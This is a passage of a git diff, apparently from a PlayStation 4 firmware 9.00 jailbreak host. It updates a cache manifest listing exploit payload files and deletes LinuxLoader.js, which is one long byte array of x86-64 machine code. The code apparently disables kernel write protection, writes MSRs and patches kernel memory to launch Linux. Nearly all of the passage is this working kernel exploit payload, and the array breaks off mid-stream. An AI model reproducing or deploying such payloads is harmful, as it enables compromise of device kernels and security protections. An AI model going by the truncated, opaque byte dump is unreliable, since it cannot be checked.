MiraLoader.bin +MiraLoader.js netcat.js Orbis-Toolbox-900.bin payload.js @@ -57,8 +67,9 @@ todex-disable.bin web.html webkit.js WebRTE.bin +wtsb.bin NETWORK: * -# Date: 2022-03-11T14:59:00Z: +# Date: 2022-05-16T15:59:00Z: \ No newline at end of file diff --git a/900N/Lamance9.bin b/900N/Lamance9.bin new file mode 100644 index 0000000..6147bb3 Binary files /dev/null and b/900N/Lamance9.bin differ diff --git a/900N/LinuxLoader.bin b/900N/LinuxLoader.bin new file mode 100644 index 0000000..2493166 Binary files /dev/null and b/900N/LinuxLoader.bin differ diff --git a/900N/LinuxLoader.js b/900N/LinuxLoader.js deleted file mode 100644 index ad95009..0000000 --- a/900N/LinuxLoader.js +++ /dev/null @@ -1,5 +0,0 @@ -var payload = [233,169,61,0,0,243,15,30,250,85,72,137,229,72,129,236,208,1,0,0,72,137,189,72,254,255,255,137,181,68,254,255,255,72,137,149,56,254,255,255,72,137,141,48,254,255,255,199,69,252,0,0,0,0,72,141,85,252,72,139,133,72,254,255,255,185,0,0,0,0,190,0,0,0,0,72,137,199,232,231,1,0,0,72,133,192,116,7,184,0,0,0,0,235,89,72,199,133,80,254,255,255,168,1,0,0,139,69,252,72,141,149,80,254,255,255,190,0,0,0,0,137,199,232,205,1,0,0,133,192,116,7,184,0,0,0,0,235,45,139,69,244,131,248,1,119,32,72,139,133,120,255,255,255,72,137,193,72,139,149,56,254,255,255,72,139,133,48,254,255,255,72,137,214,72,137,199,255,209,139,69,252,72,152,201,195,243,15,30,250,85,72,137,229,72,131,236,16,72,137,125,248,137,117,244,139,117,244,72,139,69,248,185,0,0,0,0,186,0,0,0,0,72,137,199,232,31,255,255,255,201,195,243,15,30,250,85,72,137,229,72,131,236,32,72,137,125,232,72,137,117,224,72,199,69,248,0,0,0,0,72,139,69,232,137,193,72,141,85,248,72,139,69,224,72,137,198,137,207,232,11,1,0,0,72,139,69,248,201,195,102,46,15,31,132,0,0,0,0,0,15,31,64,0,72,199,192,3,0,0,0,73,137,202,15,5,15,130,30,1,0,0,195,72,199,192,5,0,0,0,73,137,202,15,5,15,130,11,1,0,0,195,72,199,192,6,0,0,0,73,137,202,15,5,15,130,248,0,0,0,195,72,199,192,11,0,0,0,73,137,202,15,5,15,130,229,0,0,0,195,72,199,192,37,0,0,0,73,137,202,15,5,15,130,210,0,0,0,195,72,199,192,240,0,0,0,73,137,202,15,5,15,130,191,0,0,0,195,72,199,192,160,1,0,0,73,137,202,15,5,15,130,172,0,0,0,195,72,199,192,199,1,0,0,73,137,202,15,5,15,130,153,0,0,0,195,72,199,192,221,1,0,0,73,137,202,15,5,15,130,134,0,0,0,195,72,199,192,222,1,0,0,73,137,202,15,5,15,130,115,0,0,0,195,72,199,192,28,2,0,0,73,137,202,15,5,15,130,96,0,0,0,195,72,199,192,29,2,0,0,73,137,202,15,5,15,130,77,0,0,0,195,72,199,192,34,2,0,0,73,137,202,15,5,15,130,58,0,0,0,195,72,199,192,79,2,0,0,73,137,202,15,5,15,130,39,0,0,0,195,72,199,192,82,2,0,0,73,137,202,15,5,15,130,20,0,0,0,195,72,199,192,96,2,0,0,73,137,202,15,5,15,130,1,0,0,0,195,137,5,154,109,0,0,72,49,192,72,255,200,195,243,15,30,250,65,85,65,84,85,72,137,245,83,81,156,65,93,250,15,32,195,72,137,216,72,37,255,255,254,255,15,34,192,232,156,36,0,0,65,131,204,255,133,192,120,76,190,153,0,0,0,72,141,61,217,47,0,0,49,192,69,49,228,255,21,203,54,0,0,186,6,0,0,0,72,141,53,130,0,0,0,191,153,0,0,0,232,188,35,0,0,49,192,72,141,61,216,47,0,0,255,21,166,54,0,0,72,133,237,116,11,72,141,5,93,0,0,0,72,137,69,0,15,32,192,129,227,0,0,1,0,72,9,216,15,34,192,72,133,219,72,139,5,229,54,0,0,116,7,72,133,192,116,2,255,208,65,85,157,90,68,137,224,91,93,65,92,65,93,195,243,15,30,250,72,133,255,116,26,49,192,72,133,246,116,19,72,57,194,116,11,138,12,7,136,12,6,72,255,192,235,240,49,192,195,184,14,0,0,0,195,243,15,30,250,65,87,65,86,65,85,65,84,85,83,72,131,236,40,72,139,70,24,72,133,255,72,137,243,72,141,45,180,255,255,255,72,137,4,36,72,141,5,82,3,0,0,72,137,68,36,16,116,19,72,139,5,33,54,0,0,72,139,45,10,54,0,0,72,137,68,36,16,72,141,61,62,44,0,0,49,192,255,21,230,53,0,0,72,139,75,16,49,192,72,139,83,8,72,141,61,56,44,0,0,76,139,75,32,76,139,67,24,72,139,51,255,21,196,53,0,0,72,139,5,61,54,0,0,72,133,192,72,137,68,36,24,15,132,148,2,0,0,72,139,123,8,232,84,33,0,0,72,133,192,73,137,198,117,25,72,141,61,29,44,0,0,49,192,49,237,69,49,237,255,21,138,53,0,0,69,49,210,235,94,72,139,83,8,72,137,198,72,139,59,255,213,133,192,65,137,196,116,31,72,141,61,11,44,0,0,49,192,49,237,69,49,255,255,21,94,53,0,0,69,49,237,69,49,210,233,76,2,0,0,72,139,4,36,72,141,184,112,128,1,0,232,241,32,0,0,72,133,192,73,137,197,117,34,72,141,61,237,43,0,0,49,192,49,237,255,21,42,53,0,0,69,49,210,69,49,255,65,188,12,0,0,0,233,18,2,0,0,72,137,199,232,74,21,0,0,72,99,208,133,192,72,137,84,36,8,121,24,72,141,61,213,43,0,0,49,192,255,21,246,52,0,0,72,199,68,36,8,0,0,0,0,72,131,60,36,0,116,49,72,139,68,36,8,72,139,123,16,72,139,20,36,73,141,116,5,0,255,213,133,192,65,137,196,116,22,72,141,61,207,43,0,0,49,192,49,237,69,49,255,255,21,183,52,0,0,235,91,65,139,134,56,2,0,0,68,141,120,1,76,137,255,232,80,32,0,0,72,133,192,72,137,197,117,23,72,141,61,187,43,0,0,49,192,255,21,139,52,0,0,69,49,210,233,95,255,255,255,72,137,198,72,139,123,32,72,139,68,36,16,49,201,76,137,250,255,208,133,192,65,137,196,116,23,72,141,61,166,43,0,0,49,192,255,21,90,52,0,0,69,49,210,233,75,1,0,0,72,139,76,36,8,66,198,68,61,255,0,72,3,12,36,72,141,61,155,43,0,0,49,192,72,137,12,36,255,21,48,52,0,0,72,139,115,8,72,141,61,152,43,0,0,49,192,255,21,29,52,0,0,72,139,12,36,72,141,61,169,43,0,0,72,139,83,24,49,192,72,137,206,255,21,3,52,0,0,72,137,238,72,141,61,196,43,0,0,49,192,255,21,241,51,0,0,76,137,246,72,141,61,207,43,0,0,49,192,255,21,223,51,0,0,76,137,238,72,141,61,218,43,0,0,49,192,255,21,205,51,0,0,191,0,16,0,0,232,113,31,0,0,72,139,12,36,72,133,192,117,27,72,137,4,36,72,141,61,209,43,0,0,49,192,65,188,12,0,0,0,255,21,161,51,0,0,235,83,68,139,75,40,76,137,234,72,137,198,73,137,232,76,137,247,72,137,4,36,232,175,8,0,0,76,139,20,36,76,137,246,76,137,215,232,207,8,0,0,72,139,116,36,24,72,141,61,120,12,0,0,232,132,31,0,0,72,139,21,95,51,0,0,133,192,117,21,72,141,61,141,43,0,0,65,188,22,0,0,0,255,210,76,139,20,36,235,63,72,141,61,153,43,0,0,49,192,255,210,72,141,61,198,43,0,0,49,192,255,21,44,51,0,0,72,141,61,239,43,0,0,49,192,255,21,29,51,0,0,235,76,49,237,69,49,210,69,49,237,69,49,246,69,49,255,65,188,2,0,0,0,76,137,254,72,137,239,76,137,20,36,232,246,30,0,0,76,139,20,36,190,0,16,0,0,76,137,215,232,229,30,0,0,72,139,115,8,76,137,247,232,217,30,0,0,72,139,115,24,76,137,239,232,205,30,0,0,72,131,196,40,68,137,224,91,93,65,92,65,93,65,94,65,95,195,243,15,30,250,72,133,255,116,108,72,133,246,116,103,76,141,66,255,49,192,128,60,7,0,65,15,149,193,73,57,192,65,15,151,194,69,33,209,73,137,194,72,255,192,65,128,225,1,117,226,72,57,194,76,15,71,192,69,49,201,77,57,200,116,13,70,138,28,15,70,136,28,14,73,255,193,235,238,76,57,210,66,198,4,6,0,119,16,72,133,201,65,184,63,0,0,0,116,24,72,137,17,235,19,69,49,192,72,133,201,116,11,72,137,1,235,6,65,184,14,0,0,0,68,137,192,195,243,15,30,250,65,85,65,84,85,83,72,131,236,24,15,32,192,72,37,255,255,254,255,15,34,192,250,72,139,5,20,50,0,0,185,16,4,224,254,186,32,3,224,254,190,128,3,224,254,72,9,193,199,1,1,0,0,0,72,137,199,72,9,215,72,131,194,16,72,57,242,199,7,0,0,1,0,117,235,186,128,4,224,254,190,0,5,224,254,72,137,199,72,9,215,72,131,194,16,72,57,242,199,7,255,255,255,255,117,235,72,9,194,199,2,0,0,1,0,186,16,5,224,254,72,9,194,199,2,0,0,1,0,186,32,5,224,254,72,9,194,199,2,0,0,1,0,186,48,5,224,254,72,9,208,186,0,0,16,0,199,0,0,0,1,0,184,0,0,0,1,199,1,0,0,0,0,185,19,4,0,0,15,48,185,8,4,0,192,15,48,250,65,15,32,193,76,137,200,72,37,255,255,255,223,72,13,0,0,0,64,15,34,192,15,9,15,32,216,15,34,216,49,246,65,186,255,2,0,0,68,137,209,72,137,240,72,137,242,15,48,65,184,6,0,0,0,185,0,2,0,0,76,137,192,15,48,187,0,8,0,128,191,255,0,0,0,185,1,2,0,0,72,137,216,72,137,250,15,48,65,187,1,0,0,0,185,2,2,0,0,76,137,192,76,137,218,15,48,185,3,2,0,0,184,0,8,0,0,72,137,250,15,48,185,4,2,0,0,186,2,0,0,0,76,137,192,15,48,185,5,2,0,0,72,137,216,72,137,250,15,48,185,6,2,0,0,72,137,240,76,137,218,15,48,72,99,13,236,32,0,0,186,1,0,0,0,72,193,226,40,72,193,225,30,72,137,200,72,41,202,72,247,216,72,193,234,32,13,0,8,0,0,185,7,2,0,0,15,48,15,9,15,32,216,15,34,216,184,0,12,0,0,68,137,209,72,137,242,15,48,65,15,34,193,251,101,139,4,37,52,0,0,0,133,192,116,11,240,255,5,241,47,0,0,250,244,235,252,72,141,61,188,41,0,0,232,229,10,0,0,186,7,0,0,0,137,208,240,15,177,21,210,47,0,0,117,244,72,141,61,197,41,0,0,232,200,10,0,0,15,32,224,72,37,127,255,255,255,15,34,224,15,32,218,72,139,13,54,48,0,0,72,184,0,240,255,255,255,255,15,0,72,33,194,187,135,0,0,128,72,9,202,72,35,2,72,9,200,72,137,88,16,72,129,195,0,0,0,64,72,199,0,135,0,0,0,72,199,64,8,135,0,0,64,72,137,88,24,49,192,198,0,0,72,255,192,72,61,0,16,0,0,117,242,72,139,29,230,47,0,0,49,192,128,207,16,198,4,3,0,72,255,192,72,61,0,32,0,0,117,241,72,139,5,203,47,0,0,72,141,147,0,16,0,0,72,141,61,81,41,0,0,196,226,248,242,194,72,131,200,7,72,137,3,72,139,21,170,47,0,0,72,193,234,39,129,226,255,1,0,0,72,137,4,211,184,135,0,0,128,72,137,131,16,16,0,0,72,5,0,0,0,64,72,137,131,24,16,0,0,72,199,131,0,16,0,0,135,0,0,0,72,199,131,8,16,0,0,135,0,0,64,232,228,9,0,0,72,139,21,97,47,0,0,102,199,68,36,6,255,7,72,141,131,0,32,0,0,196,226,232,242,208,72,137,84,36,8,72,141,147,0,40,0,0,198,0,0,72,255,192,72,57,194,117,245,72,184,255,255,0,0,0,154,47,0,72,141,61,212,40,0,0,72,137,131,16,32,0,0,72,184,255,255,0,0,0,146,15,0,72,137,131,24,32,0,0,184,153,0,0,0,72,193,224,40,72,137,131,32,32,0,0,232,117,9,0,0,15,183,68,36,6,72,141,13,116,8,0,0,72,139,84,36,8,76,141,108,2,1,72,139,21,0,31,0,0,49,192,72,57,194,116,14,64,138,52,1,65,136,116,5,0,72,255,192,235,237,76,139,37,192,46,0,0,72,141,61,130,40,0,0,196,66,152,242,229,76,3,37,209,30,0,0,232,36,9,0,0,76,139,5,81,46,0,0,185,0,4,0,0,72,139,5,53,46,0,0,72,139,21,142,46,0,0,73,141,172,36,0,2,0,0,72,137,239,76,137,198,73,129,196,0,18,0,0,243,165,196,226,104,242,200,198,133,16,2,0,0,208,137,141,24,2,0,0,72,139,13,6,46,0,0,72,247,210,65,139,184,56,2,0,0,199,133,60,2,0,0,5,0,0,0,72,33,208,137,141,28,2,0,0,72,193,233,32,137,141,196,0,0,0,72,139,13,232,45,0,0,72,193,232,32,68,137,165,40,2,0,0,72,141,119,255,137,133,192,0,0,0,65,33,212,49,192,128,60,1,0,15,149,194,72,57,198,65,15,151,192,72,255,192,68,33,194,128,226,1,117,231,72,57,199,72,15,70,198,49,210,72,57,208,116,13,64,138,52,17,65,136,52,20,72,255,194,235,238,65,198,4,4,0,72,141,61,193,39,0,0,232,77,8,0,0,184,24,0,0,252,72,11,5,197,45,0,0,191,224,0,10,248,72,139,16,72,131,226,254,72,137,16,232,234,24,0,0,191,224,16,10,248,232,224,24,0,0,191,224,32,10,248,232,214,24,0,0,191,224,48,10,248,232,204,24,0,0,191,224,64,10,248,232,194,24,0,0,191,224,80,10,248,232,184,24,0,0,191,224,96,10,248,232,174,24,0,0,191,224,112,10,248,232,164,24,0,0,72,141,61,111,39,0,0,232,219,7,0,0,72,99,13,120,29,0,0,72,184,255,255,255,255,14,0,0,0,72,139,21,71,45,0,0,191,36,32,128,228,190,4,44,128,228,72,193,225,30,72,1,200,72,9,214,72,193,232,24,72,9,215,193,224,16,199,7,0,0,0,0,128,204,15,199,6,0,0,0,0,137,7,184,104,32,128,228,72,9,208,72,193,233,20,199,0,0,4,0,0,184,40,84,128,228,72,9,194,199,6,0,0,0,15,137,10,72,141,61,24,39,0,0,232,102,7,0,0,184,216,134,128,228,72,11,5,222,44,0,0,65,184,0,94,128,228,191,4,94,128,228,65,186,0,0,0,128,190,24,94,128,228,72,199,0,0,0,0,21,184,52,130,128,228,72,11,5,181,44,0,0,72,199,0,0,0,0,80,184,72,208,128,228,72,11,5,162,44,0,0,72,199,0,1,0,0,0,184,72,216,128,228,72,11,5,143,44,0,0,72,199,0,1,0,0,0,184,0,195,128,228,72,11,5,124,44,0,0,72,199,0,0,0,0,0,184,168,193,128,228,72,11,5,105,44,0,0,72,139,16,72,129,226,255,255,231,255,72,137,16,184,32,128,128,228,72,139,13,80,44,0,0,72,9,193,72,139,17,72,129,202,5,0,3,0,72,137,17,72,11,5,57,44,0,0,72,139,16,72,129,226,250,255,252,255,72,137,16,184,96,14,128,228,72,139,13,32,44,0,0,72,9,193,72,139,17,72,129,202,64,1,16,0,72,137,17,185,28,94,128,228,72,11,5,4,44,0,0,72,139,16,72,129,226,191,254,239,255,72,137,16,186,48,94,128,228,72,139,5,235,43,0,0,76,9,192,72,199,0,84,1,0,0,72,139,5,218,43,0,0,72,9,248,76,137,16,72,139,5,205,43,0,0,72,9,240,72,199,0,84,1,0,0,72,139,5,188,43,0,0,72,9,200,76,137,16,72,139,5,175,43,0,0,72,9,208,72,199,0,84,1,0,0,184,52,94,128,228,76,139,13,153,43,0,0,73,9,193,77,137,17,65,185,4,52,129,228,76,11,13,134,43,0,0,73,199,1,1,0,0,0,65,185,12,52,129,228,76,11,13,114,43,0,0,73,199,1,1,0,0,0,76,11,5,100,43,0,0,73,199,0,86,1,0,0,72,11,61,86,43,0,0,72,199,7,240,0,86,24,72,141,61,138,37,0,0,72,11,53,65,43,0,0,72,199,6,86,1,0,0,72,11,13,51,43,0,0,72,199,1,240,0,0,80,72,11,21,37,43,0,0,72,199,2,86,1,0,0,72,11,5,23,43,0,0,72,199,0,240,16,69,1,232,135,5,0,0,72,139,61,4,43,0,0,72,137,238,72,141,76,36,6,72,247,215,72,33,251,72,33,254,72,35,61,132,42,0,0,72,137,218,65,255,213,72,141,61,78,37,0,0,232,86,5,0,0,72,131,196,24,91,93,65,92,65,93,195,243,15,30,250,72,137,61,92,42,0,0,72,137,53,109,42,0,0,72,137,21,86,42,0,0,72,137,13,87,42,0,0,76,137,5,96,42,0,0,68,137,13,193,26,0,0,195,243,15,30,250,49,192,198,4,7,0,72,255,192,72,61,0,16,0,0,117,241,15,182,150,1,2,0,0,49,192,72,131,194,17,138,140,6,241,1,0,0,136,140,7,241,1,0,0,72,255,192,72,57,194,119,234,15,182,151,232,1,0,0,190,0,0,0,128,72,137,208,72,107,210,20,72,1,250,72,199,130,208,2,0,0,0,0,0,0,72,199,130,216,2,0,0,0,128,0,0,199,130,224,2,0,0,1,0,0,0,141,80,1,15,182,210,72,107,210,20,72,1,250,72,199,130,208,2,0,0,0,128,0,0,72,199,130,216,2,0,0,0,128,7,0,199,130,224,2,0,0,2,0,0,0,141,80,2,15,182,210,72,107,210,20,72,1,250,72,199,130,208,2,0,0,0,0,8,0,72,199,130,216,2,0,0,0,160,1,0,199,130,224,2,0,0,1,0,0,0,141,80,3,15,182,210,72,107,210,20,72,1,250,72,199,130,208,2,0,0,0,160,9,0,72,199,130,216,2,0,0,0,96,0,0,199,130,224,2,0,0,2,0,0,0,141,80,4,15,182,210,72,107,210,20,72,1,250,72,199,130,208,2,0,0,0,0,10,0,72,199,130,216,2,0,0,0,0,2,0,199,130,224,2,0,0,2,0,0,0,141,80,5,15,182,210,72,107,210,20,72,1,250,72,199,130,208,2,0,0,0,0,14,0,72,199,130,216,2,0,0,0,0,1,0,199,130,224,2,0,0,3,0,0,0,141,80,6,15,182,210,72,107,210,20,72,1,250,72,199,130,208,2,0,0,0,0,16,0,72,199,130,216,2,0,0,0,0,48,0,199,130,224,2,0,0,1,0,0,0,141,80,7,15,182,210,72,107,210,20,72,1,250,72,199,130,208,2,0,0,0,0,64,0,72,199,130,216,2,0,0,0,0,8,0,199,130,224,2,0,0,2,0,0,0,141,80,8,15,182,210,72,107,210,20,72,1,250,72,199,130,208,2,0,0,0,0,72,0,72,199,130,216,2,0,0,0,0,32,0,199,130,224,2,0,0,1,0,0,0,141,80,9,15,182,210,72,107,210,20,72,1,250,72,199,130,208,2,0,0,0,0,104,0,72,199,130,216,2,0,0,0,0,8,0,199,130,224,2,0,0,2,0,0,0,141,80,10,15,182,210,72,107,210,20,72,1,250,72,199,130,208,2,0,0,0,0,112,0,72,199,130,216,2,0,0,0,128,142,126,72,99,13,147,24,0,0,199,130,224,2,0,0,1,0,0,0,141,80,11,15,182,210,72,107,210,20,72,1,250,72,199,130,208,2,0,0,0,128,254,126,72,199,130,216,2,0,0,0,128,0,0,199,130,224,2,0,0,4,0,0,0,141,80,12,15,182,210,72,107,210,20,72,1,250,72,199,130,208,2,0,0,0,0,255,126,72,199,130,216,2,0,0,0,0,1,0,199,130,224,2,0,0,3,0,0,0,141,80,13,15,182,210,72,107,210,20,72,1,250,72,199,130,208,2,0,0,0,0,0,127,72,199,130,216,2,0,0,0,0,0,1,199,130,224,2,0,0,1,0,0,0,141,80,14,15,182,210,72,107,210,20,72,1,250,72,137,178,208,2,0,0,72,199,130,216,2,0,0,0,0,0,96,199,130,224,2,0,0,2,0,0,0,141,80,15,15,182,210,72,107,210,20,72,1,250,72,129,198,0,0,0,96,72,137,178,208,2,0,0,72,129,198,0,0,0,24,72,199,130,216,2,0,0,0,0,0,24,72,193,225,30,199,130,224,2,0,0,2,0,0,0,141,80,16,15,182,210,72,107,210,20,72,1,250,72,137,178,208,2,0,0,72,129,198,0,0,0,8,72,199,130,216,2,0,0,0,0,0,4,199,130,224,2,0,0,2,0,0,0,141,80,17,15,182,210,72,107,210,20,72,1,250,72,137,178,208,2,0,0,72,1,206,72,137,138,216,2,0,0,199,130,224,2,0,0,2,0,0,0,141,80,18,15,182,210,131,192,19,72,107,210,20,72,1,250,72,137,178,208,2,0,0,190,127,1,0,0,72,193,230,24,199,130,224,2,0,0,1,0,0,0,72,41,206,72,137,178,216,2,0,0,136,135,232,1,0,0,195,243,15,30,250,72,141,61,103,33,0,0,80,49,192,255,21,223,38,0,0,191,2,0,0,0,255,21,132,39,0,0,72,139,61,197,38,0,0,190,0,0,14,0,72,129,207,0,0,14,0,232,123,13,0,0,72,141,61,82,33,0,0,49,192,255,21,173,38,0,0,72,139,61,30,39,0,0,49,201,72,141,53,95,244,255,255,72,137,250,255,21,4,39,0,0,72,141,61,61,33,0,0,49,192,255,21,133,38,0,0,49,192,90,195,250,15,1,17,184,24,0,0,0,142,216,142,208,142,192,142,224,142,232,15,34,218,73,137,252,73,137,245,72,199,199,0,0,0,6,73,137,254,49,210,65,138,148,36,241,1,0,0,72,255,194,72,193,226,9,73,141,52,20,65,139,140,36,244,1,0,0,72,193,225,4,72,1,207,72,1,206,72,131,239,8,72,131,238,8,72,193,233,3,253,243,72,165,252,72,141,37,20,2,0,0,72,131,228,240,106,16,73,129,198,0,2,0,0,65,86,76,137,238,72,203,243,15,30,250,72,131,236,16,72,139,5,241,37,0,0,185,20,224,144,200,186,144,208,3,0,72,9,193,139,49,64,128,230,32,117,4,255,202,117,244,186,0,224,144,200,72,9,208,64,136,56,240,72,131,68,36,8,0,72,131,194,20,72,11,21,187,37,0,0,184,144,208,3,0,139,10,128,225,64,117,4,255,200,117,245,72,131,196,16,195,243,15,30,250,102,64,15,190,199,65,137,248,102,131,248,10,117,10,191,13,0,0,0,232,138,255,255,255,65,15,182,248,235,132,243,15,30,250,73,137,249,65,15,190,57,64,132,255,116,10,73,255,193,232,198,255,255,255,235,237,195,72,137,248,49,201,72,57,209,116,13,64,138,60,14,64,136,60,8,72,255,193,235,238,195,64,128,255,9,141,71,87,119,3,141,71,48,195,72,137,250,137,247,193,239,28,137,241,232,228,255,255,255,65,137,192,72,139,2,137,207,193,239,24,131,231,15,72,141,112,1,72,137,50,68,136,0,232,199,255,255,255,65,137,192,72,139,2,137,207,193,239,20,131,231,15,72,141,112,1,72,137,50,68,136,0,232,170,255,255,255,65,137,192,72,139,2,137,207,193,239,16,131,231,15,72,141,112,1,72,137,50,68,136,0,232,141,255,255,255,65,137,192,72,139,2,137,207,193,239,12,131,231,15,72,141,112,1,72,137,50,68,136,0,232,112,255,255,255,65,137,192,72,139,2,15,182,253,131,231,15,72,141,112,1,72,137,50,68,136,0,232,85,255,255,255,65,137,192,72,139,2,137,207,193,239,4,131,231,15,72,141,112,1,72,137,50,68,136,0,232,56,255,255,255,65,137,192,72,139,2,131,225,15,137,207,72,141,112,1,72,137,50,68,136,0,232,30,255,255,255,65,137,192,72,139,2,72,141,72,1,72,137,10,68,136,0,195,65,87,65,86,65,85,65,84,85,83,82,68,139,103,20,65,190,4,0,0,0,72,137,253,73,137,247,72,141,61,28,31,0,0,68,137,224,37,0,240,255,255,153,65,247,254,68,141,104,240,137,195,68,137,238,49,192,255,21,39,36,0,0,73,99,197,186,56,0,0,0,72,141,188,133,0,1,0,0,76,137,254,232,158,254,255,255,68,137,224,72,99,203,153,65,129,205,0,0,16,0,65,247,254,57,200,126,24,102,131,188,141,2,1,0,0,16,117,8,68,137,172,141,0,1,0,0,72,255,193,235,228,88,91,93,65,92,65,93,65,94,65,95,195,243,15,30,250,85,73,137,249,83,73,137,243,137,213,72,137,203,69,49,210,67,128,60,19,0,116,5,73,255,194,235,244,73,139,57,64,246,199,3,116,12,72,141,71,1,73,137,1,198,7,0,235,235,186,6,0,0,0,72,141,53,130,30,0,0,232,31,254,255,255,49,246,73,131,1,6,76,137,207,232,54,254,255,255,137,238,76,137,207,232,44,254,255,255,49,246,76,137,207,232,34,254,255,255,49,246,76,137,207,232,24,254,255,255,190,1,0,0,0,76,137,207,232,11,254,255,255,49,246,76,137,207,232,1,254,255,255,137,222,76,137,207,232,247,253,255,255,49,246,76,137,207,232,237,253,255,255,49,246,76,137,207,232,227,253,255,255,49,246,76,137,207,232,217,253,255,255,49,246,76,137,207,232,207,253,255,255,65,141,114,1,76,137,207,232,195,253,255,255,49,246,76,137,207,232,185,253,255,255,73,139,57,76,137,210,76,137,222,232,134,253,255,255,77,3,17,73,141,66,1,73,137,1,65,198,2,0,73,139,1,168,3,116,12,72,141,80,1,73,137,17,198,0,0,235,237,91,93,195,243,15,30,250,72,139,15,72,99,214,76,139,5,106,35,0,0,49,192,72,57,194,118,9,198,4,1,0,72,255,192,235,242,72,1,23,49,192,57,198,126,13,69,138,12,0,68,136,12,1,72,255,192,235,239,72,1,23,195,243,15,30,250,72,139,23,49,192,72,139,13,40,35,0,0,198,4,2,0,72,255,192,72,131,248,32,117,243,72,131,7,32,49,192,72,137,198,72,247,222,72,131,248,15,119,7,64,138,116,49,15,235,5,64,138,116,49,47,64,136,52,2,72,255,192,72,131,248,32,117,219,72,131,7,32,195,243,15,30,250,65,84,85,83,72,137,213,72,131,236,16,73,137,204,49,192,72,137,116,36,8,72,137,251,72,141,61,28,29,0,0,255,21,34,34,0,0,72,139,69,0,72,141,12,133,0,0,0,0,76,57,225,116,27,72,139,116,36,8,76,137,226,72,141,61,11,29,0,0,49,192,255,21,250,33,0,0,49,192,235,98,76,139,3,49,192,65,198,4,0,0,72,255,192,72,61,0,1,0,0,117,240,72,139,3,76,137,226,72,141,184,0,1,0,0,72,137,59,72,139,117,24,232,87,252,255,255,65,141,132,36,0,1,0,0,65,137,0,184,1,0,0,8,72,193,224,5,65,199,64,16,16,0,0,0,73,137,64,4,184,1,0,0,0,69,137,96,20,65,199,64,24,0,1,0,0,76,1,35,72,131,196,16,91,93,65,92,195,243,15,30,250,85,83,65,80,72,137,205,72,139,31,232,45,255,255,255,133,192,116,73,72,137,232,199,67,12,7,0,2,0,72,193,232,2,199,67,4,44,0,0,0,137,194,37,255,3,0,0,129,226,0,252,255,255,199,67,32,21,0,0,0,137,83,36,72,141,115,32,137,67,40,72,141,149,224,0,0,0,49,255,232,146,12,0,0,137,67,28,184,1,0,0,0,90,91,93,195,243,15,30,250,85,83,65,80,72,137,205,72,139,31,232,201,254,255,255,133,192,116,75,72,184,1,0,0,0,144,0,0,0,199,67,12,7,0,2,0,72,137,67,32,72,184,61,0,0,0,112,2,0,0,199,67,4,52,0,0,0,72,141,149,224,0,0,0,72,137,67,40,72,141,115,32,199,67,48,0,0,0,0,49,255,232,44,12,0,0,137,67,28,184,1,0,0,0,90,91,93,195,243,15,30,250,65,84,85,83,72,137,205,72,139,31,69,137,196,232,96,254,255,255,133,192,116,85,65,131,252,1,199,67,12,2,0,1,0,25,192,199,67,4,48,0,0,0,131,224,9,199,67,36,0,0,0,0,137,67,32,72,137,232,72,193,232,2,72,141,115,32,137,194,37,255,3,0,0,129,226,0,252,255,255,137,67,44,137,83,40,49,255,72,141,149,224,0,0,0,232,185,11,0,0,137,67,28,184,1,0,0,0,91,93,65,92,195,243,15,30,250,72,139,21,218,32,0,0,72,133,210,116,4,49,192,255,226,72,139,5,186,32,0,0,195,243,15,30,250,72,139,21,182,32,0,0,72,133,210,116,29,49,192,81,255,210,65,137,192,72,141,5,226,17,0,0,69,133,192,117,7,72,141,5,22,18,0,0,90,195,72,141,5,13,18,0,0,195,243,15,30,250,72,139,21,129,32,0,0,72,133,210,116,29,49,192,81,255,210,65,137,192,72,141,5,29,27,0,0,69,133,192,117,7,72,141,5,7,27,0,0,90,195,72,141,5,254,26,0,0,195,243,15,30,250,65,87,65,86,65,85,65,84,85,83,72,129,236,104,2,0,0,49,192,72,137,124,36,24,73,137,254,232,86,255,255,255,72,133,192,117,20,72,141,61,223,26,0,0,49,192,255,21,143,31,0,0,233,254,5,0,0,73,137,196,49,192,232,79,255,255,255,72,141,108,36,24,49,201,186,237,65,0,0,72,141,53,231,26,0,0,72,137,239,72,137,195,232,140,251,255,255,185,32,0,0,0,186,164,129,0,0,72,141,53,207,26,0,0,72,137,239,232,115,251,255,255,72,137,239,76,141,124,36,17,232,164,252,255,255,49,201,186,237,65,0,0,72,141,53,192,26,0,0,232,83,251,255,255,49,201,186,237,65,0,0,72,141,53,177,26,0,0,72,137,239,232,61,251,255,255,72,139,5,180,31,0,0,186,237,65,0,0,72,141,53,163,26,0,0,72,137,239,15,182,64,126,102,131,248,1,69,25,237,49,201,65,131,229,128,65,129,197,0,1,0,0,232,10,251,255,255,186,164,129,0,0,73,99,205,72,141,53,134,26,0,0,72,137,239,232,243,250,255,255,68,137,238,72,137,239,232,235,251,255,255,72,139,21,71,31,0,0,72,133,210,116,4,49,192,255,210,76,141,108,36,32,76,137,255,72,141,21,114,26,0,0,190,7,0,0,0,49,192,255,21,154,30,0,0,76,137,249,72,141,21,98,26,0,0,190,64,0,0,0,76,137,239,49,192,76,141,124,36,96,255,21,123,30,0,0,49,201,186,237,65,0,0,76,137,238,72,137,239,232,139,250,255,255,76,139,13,98,30,0,0,49,192,76,137,76,36,8,232,82,254,255,255,76,139,76,36,8,76,137,233,73,137,192,72,141,21,39,26,0,0,76,137,255,190,64,0,0,0,49,192,65,255,209,76,137,254,72,141,61,29,26,0,0,49,192,255,21,29,30,0,0,72,139,67,32,76,137,254,186,164,129,0,0,72,137,239,72,141,136,0,1,0,0,232,44,250,255,255,72,139,75,32,72,141,53,14,26,0,0,73,139,84,36,32,72,137,239,76,139,124,36,24,232,90,252,255,255,133,192,15,132,81,4,0,0,76,137,255,72,141,53,99,15,0,0,232,104,249,255,255,76,139,13,207,29,0,0,49,192,76,141,188,36,160,0,0,0,76,137,76,36,8,232,183,253,255,255,76,139,76,36,8,76,137,233,73,137,192,72,141,21,188,25,0,0,190,64,0,0,0,76,137,255,49,192,65,255,209,76,137,254,72,141,61,130,25,0,0,49,192,255,21,130,29,0,0,72,139,67,40,186,164,129,0,0,76,137,254,72,137,239,72,141,136,0,1,0,0,232,145,249,255,255,72,139,75,40,72,141,53,131,25,0,0,73,139,84,36,40,72,137,239,232,196,251,255,255,133,192,15,132,187,3,0,0,76,139,13,72,29,0,0,49,192,76,141,188,36,224,0,0,0,76,137,76,36,8,232,48,253,255,255,76,139,76,36,8,76,137,233,73,137,192,72,141,21,68,25,0,0,76,137,255,190,64,0,0,0,49,192,65,255,209,76,137,254,72,141,61,251,24,0,0,49,192,255,21,251,28,0,0,72,139,